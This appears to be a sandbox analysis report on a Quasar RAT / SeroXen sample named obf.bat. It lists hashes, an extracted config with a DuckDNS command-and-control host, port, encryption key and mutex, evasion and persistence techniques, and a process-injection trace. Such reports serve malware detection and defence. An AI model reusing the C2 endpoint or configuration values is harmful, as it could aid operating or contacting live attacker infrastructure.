quasar | 13dd2c4d58353b14afa8e28b6d344eec097b306bfc11c54955503fdd577da794

Analysis

user interaction
yes
max time kernel
150s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
01/06/2026, 01:55

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
obf.bat
Size 12.5MB
Sample260601-cb55fsbt6x
SHA256 13dd2c4d58353b14afa8e28b6d344eec097b306bfc11c54955503fdd577da794
MD5 0836a9cdfe13f1f85ccd00aa626c7808
SHA1 056363fa764d2c4eef9027cd7b546a5db7b750f8
SHA512 2f23a850a0358424c1de8014924841f60f8dece783ddc19cc8396df58f80286547fb6897714ab5949074aeaef14f6936c04ecea4dc2d2d85d03cd813e5d9b85c
SSDEEP 49152:0B/923Ai6DBR0hAOBw0EWJYaiZFLaNBlQKPhYrg2qABYvSk166y74LzIO7YqenEQ:G
TLSH
T141D6C09A2FEFA5A037C4747CB5F3A78D73B776732979A2B851F872904208D58B084748
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

v2.2.5 | seroxen costura defense_evasion discovery quasar seroxen packer persistence spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.0.0.0

Botnet

v2.2.5 | SeroXen

visualstudioserverredirect.duckdns.org:1337

Mutex

9ce1bddd-7464-4639-b003-89adfaf07ef1

Attributes

encryption_key
885CF86C466C39AE50EBE74CDF07A21ED1278B7E
install_name
.exe
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
log_directory
$sxr-Logs
reconnect_delay
3000

Signatures

Family: Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Family: Seroxen, Ser0xen
Seroxen or SeroXen aka Ser0Xen is a trojan fist disovered in late 2022.
trojan seroxen

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/932-63-0x0000023FD2F50000-0x0000023FD371A000-memory.dmp	family_quasar

Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 908 created 2308	908	WerFault.exe	109
PID 2904 created 4120	2904	WerFault.exe	116

Suspicious use of NtCreateUserProcessOtherParentProcess 13 IoCs

description	pid	Process	procid_target
PID 4744 created 652	4744	obf.bat.exe	5
PID 932 created 652	932	$sxr-powershell.exe	5
PID 932 created 652	932	$sxr-powershell.exe	5
PID 4744 created 652	4744	obf.bat.exe	5
PID 932 created 652	932	$sxr-powershell.exe	5
PID 932 created 652	932	$sxr-powershell.exe	5
PID 2120 created 884	2120	svchost.exe	101
PID 932 created 652	932	$sxr-powershell.exe	5
PID 2120 created 3620	2120	svchost.exe	106
PID 932 created 652	932	$sxr-powershell.exe	5
PID 2120 created 2308	2120	svchost.exe	109
PID 932 created 652	932	$sxr-powershell.exe	5
PID 2120 created 4120	2120	svchost.exe	116

Deletes itself 1 IoCs

pid	Process
4744	obf.bat.exe

Executes dropped EXE 5 IoCs

pid	Process
4744	obf.bat.exe
5608	$sxr-mshta.exe
5768	$sxr-cmd.exe
932	$sxr-powershell.exe
3436	$sxr-powershell.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 2 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WER-Diag%4Operational.evtx	svchost.exe

Hide Artifacts: Hidden Window 1 TTPs 2 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
932	$sxr-powershell.exe
3436	$sxr-powershell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe

Suspicious use of SetThreadContext 18 IoCs

description	pid	Process	procid_target
PID 4744 set thread context of 4596	4744	obf.bat.exe	84
PID 4744 set thread context of 5168	4744	obf.bat.exe	85
PID 932 set thread context of 3596	932	$sxr-powershell.exe	90
PID 932 set thread context of 4988	932	$sxr-powershell.exe	91
PID 932 set thread context of 4944	932	$sxr-powershell.exe	93
PID 932 set thread context of 4004	932	$sxr-powershell.exe	94
PID 4744 set thread context of 3512	4744	obf.bat.exe	95
PID 4744 set thread context of 3948	4744	obf.bat.exe	96
PID 932 set thread context of 5136	932	$sxr-powershell.exe	97
PID 932 set thread context of 4308	932	$sxr-powershell.exe	99
PID 932 set thread context of 4080	932	$sxr-powershell.exe	100
PID 932 set thread context of 884	932	$sxr-powershell.exe	101
PID 932 set thread context of 1744	932	$sxr-powershell.exe	105
PID 932 set thread context of 3620	932	$sxr-powershell.exe	106
PID 932 set thread context of 2308	932	$sxr-powershell.exe	109
PID 932 set thread context of 4592	932	$sxr-powershell.exe	114
PID 932 set thread context of 6084	932	$sxr-powershell.exe	115
PID 932 set thread context of 4120	932	$sxr-powershell.exe	116

Costura .NET executable packer 3 IoCs

Costura packer aka Costura Fody, is an add-in for the .NET framework that embeds all external dependency .dll files as resources inside main executable.

costura packer

resource	yara_rule
behavioral2/memory/4744-21-0x000001A700DE0000-0x000001A700E36000-memory.dmp	costura
behavioral2/memory/932-63-0x0000023FD2F50000-0x0000023FD371A000-memory.dmp	costura
behavioral2/memory/932-64-0x0000023FD3720000-0x0000023FD3B5E000-memory.dmp	costura

Drops file in Windows directory 7 IoCs

description	ioc	Process
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	WerFault.exe
File created	C:\Windows\$sxr-powershell.exe	obf.bat.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	obf.bat.exe
File created	C:\Windows\$sxr-mshta.exe	obf.bat.exe
File opened for modification	C:\Windows\$sxr-mshta.exe	obf.bat.exe
File created	C:\Windows\$sxr-cmd.exe	obf.bat.exe
File opened for modification	C:\Windows\$sxr-cmd.exe	obf.bat.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 3 IoCs

pid	pid_target	Process	procid_target
2456	884	WerFault.exe	101
4752	3620	WerFault.exe	106
5776	4120	WerFault.exe	116

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WerFault.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WerFault.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WerFault.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WerFault.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4532	cmd.exe
852	PING.EXE

Checks processor information in registry 2 TTPs 30 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe

Enumerates system info in registry 2 TTPs 8 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
4816	taskkill.exe

Modifies data under HKEY_USERS 14 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1780279045"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Mon, 01 Jun 2026 01:57:26 GMT"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={29E40B26-0115-4935-BEB5-3448BC506527}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	$sxr-mshta.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
852	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4744	obf.bat.exe
4744	obf.bat.exe
4744	obf.bat.exe
4596	dllhost.exe
4596	dllhost.exe
5168	dllhost.exe
5168	dllhost.exe
5168	dllhost.exe
5168	dllhost.exe
4596	dllhost.exe
4596	dllhost.exe
4744	obf.bat.exe
4744	obf.bat.exe
932	$sxr-powershell.exe
932	$sxr-powershell.exe
932	$sxr-powershell.exe
932	$sxr-powershell.exe
4988	dllhost.exe
4988	dllhost.exe
4988	dllhost.exe
4988	dllhost.exe
3596	dllhost.exe
3596	dllhost.exe
3596	dllhost.exe
3596	dllhost.exe
932	$sxr-powershell.exe
932	$sxr-powershell.exe
3436	$sxr-powershell.exe
932	$sxr-powershell.exe
4944	dllhost.exe
4944	dllhost.exe
4944	dllhost.exe
4944	dllhost.exe
4944	dllhost.exe
4944	dllhost.exe
4944	dllhost.exe
4944	dllhost.exe
4004	dllhost.exe
4004	dllhost.exe
4004	dllhost.exe
4004	dllhost.exe
3436	$sxr-powershell.exe
3436	$sxr-powershell.exe
4944	dllhost.exe
4944	dllhost.exe
4004	dllhost.exe
4004	dllhost.exe
4744	obf.bat.exe
4944	dllhost.exe
4944	dllhost.exe
3436	$sxr-powershell.exe
3436	$sxr-powershell.exe
4004	dllhost.exe
4004	dllhost.exe
4944	dllhost.exe
4944	dllhost.exe
4944	dllhost.exe
4944	dllhost.exe
4004	dllhost.exe
4004	dllhost.exe
4944	dllhost.exe
4944	dllhost.exe
4004	dllhost.exe
4004	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3200	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4744	obf.bat.exe
Token: SeDebugPrivilege	4744	obf.bat.exe
Token: SeDebugPrivilege	4596	dllhost.exe
Token: SeDebugPrivilege	5168	dllhost.exe
Token: SeDebugPrivilege	932	$sxr-powershell.exe
Token: SeDebugPrivilege	932	$sxr-powershell.exe
Token: SeDebugPrivilege	3596	dllhost.exe
Token: SeDebugPrivilege	4988	dllhost.exe
Token: SeDebugPrivilege	3436	$sxr-powershell.exe
Token: SeDebugPrivilege	932	$sxr-powershell.exe
Token: SeDebugPrivilege	4944	dllhost.exe
Token: SeDebugPrivilege	4004	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2724	svchost.exe
Token: SeIncreaseQuotaPrivilege	2724	svchost.exe
Token: SeSecurityPrivilege	2724	svchost.exe
Token: SeTakeOwnershipPrivilege	2724	svchost.exe
Token: SeLoadDriverPrivilege	2724	svchost.exe
Token: SeSystemtimePrivilege	2724	svchost.exe
Token: SeBackupPrivilege	2724	svchost.exe
Token: SeRestorePrivilege	2724	svchost.exe
Token: SeShutdownPrivilege	2724	svchost.exe
Token: SeSystemEnvironmentPrivilege	2724	svchost.exe
Token: SeUndockPrivilege	2724	svchost.exe
Token: SeManageVolumePrivilege	2724	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2724	svchost.exe
Token: SeIncreaseQuotaPrivilege	2724	svchost.exe
Token: SeSecurityPrivilege	2724	svchost.exe
Token: SeTakeOwnershipPrivilege	2724	svchost.exe
Token: SeLoadDriverPrivilege	2724	svchost.exe
Token: SeSystemtimePrivilege	2724	svchost.exe
Token: SeBackupPrivilege	2724	svchost.exe
Token: SeRestorePrivilege	2724	svchost.exe
Token: SeShutdownPrivilege	2724	svchost.exe
Token: SeSystemEnvironmentPrivilege	2724	svchost.exe
Token: SeUndockPrivilege	2724	svchost.exe
Token: SeManageVolumePrivilege	2724	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2724	svchost.exe
Token: SeIncreaseQuotaPrivilege	2724	svchost.exe
Token: SeSecurityPrivilege	2724	svchost.exe
Token: SeTakeOwnershipPrivilege	2724	svchost.exe
Token: SeLoadDriverPrivilege	2724	svchost.exe
Token: SeSystemtimePrivilege	2724	svchost.exe
Token: SeBackupPrivilege	2724	svchost.exe
Token: SeRestorePrivilege	2724	svchost.exe
Token: SeShutdownPrivilege	2724	svchost.exe
Token: SeSystemEnvironmentPrivilege	2724	svchost.exe
Token: SeUndockPrivilege	2724	svchost.exe
Token: SeManageVolumePrivilege	2724	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2724	svchost.exe
Token: SeIncreaseQuotaPrivilege	2724	svchost.exe
Token: SeSecurityPrivilege	2724	svchost.exe
Token: SeTakeOwnershipPrivilege	2724	svchost.exe
Token: SeLoadDriverPrivilege	2724	svchost.exe
Token: SeSystemtimePrivilege	2724	svchost.exe
Token: SeBackupPrivilege	2724	svchost.exe
Token: SeRestorePrivilege	2724	svchost.exe
Token: SeShutdownPrivilege	2724	svchost.exe
Token: SeSystemEnvironmentPrivilege	2724	svchost.exe
Token: SeUndockPrivilege	2724	svchost.exe
Token: SeManageVolumePrivilege	2724	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2724	svchost.exe
Token: SeIncreaseQuotaPrivilege	2724	svchost.exe
Token: SeSecurityPrivilege	2724	svchost.exe
Token: SeTakeOwnershipPrivilege	2724	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
932	$sxr-powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5156 wrote to memory of 4744	5156	cmd.exe	82
PID 4744 wrote to memory of 4596	4744	obf.bat.exe	84
PID 4744 wrote to memory of 4596	4744	obf.bat.exe	84
PID 4744 wrote to memory of 4596	4744	obf.bat.exe	84
PID 4744 wrote to memory of 4596	4744	obf.bat.exe	84
PID 4744 wrote to memory of 4596	4744	obf.bat.exe	84
PID 4744 wrote to memory of 5168	4744	obf.bat.exe	85
PID 4744 wrote to memory of 5168	4744	obf.bat.exe	85
PID 4744 wrote to memory of 5168	4744	obf.bat.exe	85
PID 4744 wrote to memory of 5168	4744	obf.bat.exe	85
PID 4744 wrote to memory of 5168	4744	obf.bat.exe	85
PID 4744 wrote to memory of 5168	4744	obf.bat.exe	85
PID 5608 wrote to memory of 5768	5608	$sxr-mshta.exe	87
PID 5768 wrote to memory of 932	5768	$sxr-cmd.exe	89
PID 932 wrote to memory of 3596	932	$sxr-powershell.exe	90
PID 932 wrote to memory of 3596	932	$sxr-powershell.exe	90
PID 932 wrote to memory of 3596	932	$sxr-powershell.exe	90
PID 932 wrote to memory of 3596	932	$sxr-powershell.exe	90
PID 932 wrote to memory of 3596	932	$sxr-powershell.exe	90
PID 932 wrote to memory of 4988	932	$sxr-powershell.exe	91
PID 932 wrote to memory of 4988	932	$sxr-powershell.exe	91
PID 932 wrote to memory of 4988	932	$sxr-powershell.exe	91
PID 932 wrote to memory of 4988	932	$sxr-powershell.exe	91
PID 932 wrote to memory of 4988	932	$sxr-powershell.exe	91
PID 932 wrote to memory of 4988	932	$sxr-powershell.exe	91
PID 932 wrote to memory of 3436	932	$sxr-powershell.exe	92
PID 932 wrote to memory of 4944	932	$sxr-powershell.exe	93
PID 932 wrote to memory of 4944	932	$sxr-powershell.exe	93
PID 932 wrote to memory of 4944	932	$sxr-powershell.exe	93
PID 932 wrote to memory of 4944	932	$sxr-powershell.exe	93
PID 932 wrote to memory of 4944	932	$sxr-powershell.exe	93
PID 932 wrote to memory of 4944	932	$sxr-powershell.exe	93
PID 4944 wrote to memory of 652	4944	dllhost.exe	5
PID 4944 wrote to memory of 712	4944	dllhost.exe	7
PID 4944 wrote to memory of 920	4944	dllhost.exe	11
PID 4944 wrote to memory of 440	4944	dllhost.exe	13
PID 4944 wrote to memory of 916	4944	dllhost.exe	14
PID 4944 wrote to memory of 776	4944	dllhost.exe	15
PID 4944 wrote to memory of 1052	4944	dllhost.exe	16
PID 4944 wrote to memory of 1148	4944	dllhost.exe	17
PID 4944 wrote to memory of 1192	4944	dllhost.exe	18
PID 4944 wrote to memory of 1228	4944	dllhost.exe	19
PID 4944 wrote to memory of 1272	4944	dllhost.exe	21
PID 4944 wrote to memory of 1284	4944	dllhost.exe	22
PID 4944 wrote to memory of 1328	4944	dllhost.exe	23
PID 4944 wrote to memory of 1444	4944	dllhost.exe	24
PID 4944 wrote to memory of 1564	4944	dllhost.exe	25
PID 4944 wrote to memory of 1656	4944	dllhost.exe	26
PID 4944 wrote to memory of 1684	4944	dllhost.exe	27
PID 4944 wrote to memory of 1736	4944	dllhost.exe	28
PID 4944 wrote to memory of 1752	4944	dllhost.exe	29
PID 4944 wrote to memory of 1884	4944	dllhost.exe	30
PID 4944 wrote to memory of 1892	4944	dllhost.exe	31
PID 4944 wrote to memory of 1932	4944	dllhost.exe	32
PID 4944 wrote to memory of 2020	4944	dllhost.exe	33
PID 4944 wrote to memory of 1016	4944	dllhost.exe	34
PID 4944 wrote to memory of 1536	4944	dllhost.exe	35
PID 4944 wrote to memory of 1600	4944	dllhost.exe	36
PID 4944 wrote to memory of 2092	4944	dllhost.exe	37
PID 4944 wrote to memory of 2188	4944	dllhost.exe	38
PID 4944 wrote to memory of 2212	4944	dllhost.exe	39
PID 4944 wrote to memory of 2364	4944	dllhost.exe	41
PID 4944 wrote to memory of 2580	4944	dllhost.exe	42
PID 4944 wrote to memory of 2588	4944	dllhost.exe	43

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4812	attrib.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:652
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:776
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{35a0137c-bb77-41a2-92e1-780ea2bcb7ae}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4596
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{0d87559a-93ef-4437-a213-c4c7f18fa8af}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3596
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{5342bf4f-daa8-4590-a9c9-719a8ef4265c}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4944
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{49e0bf03-a9c5-4b36-8ea5-0c6243024099}
  2⤵
  PID:3512
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{c31064e3-c7d3-4f0a-8f0a-070def2ca822}
  2⤵
  PID:5136
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{ff5f831b-80b6-4863-8ea5-6dbc2b303e5d}
  2⤵
  PID:4080
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{512d08c4-2596-4a42-b41a-96b11f460b61}
  2⤵
  PID:1744
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{def308d7-40f2-4dfa-b8cd-eabaa3ec367e}
  2⤵
  PID:2308
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 2308 -s 276
    3⤵
    - Drops file in Windows directory
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:1480
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{ec1c62d5-f29f-4171-bc59-0ab9fabe1f6b}
  2⤵
  PID:6084

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:712

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-e1f1d7a1-cb9b-497f-b6a6-057126ed840b -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-97ce96f2-bcc6-4085-8d60-3df01aa6a229 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-81698d24-350f-4c25-9b3c-68dea3aef788 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-295f3c38-dcc9-44a0-8b81-f00e372bfaa9 -LifetimeId:7ed8b633-ee6b-434a-a6c9-49c1c7a00619 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:920

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:440

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:916

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1052

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1148

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1192

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1228

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1272
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2656
- C:\Windows\$sxr-mshta.exe
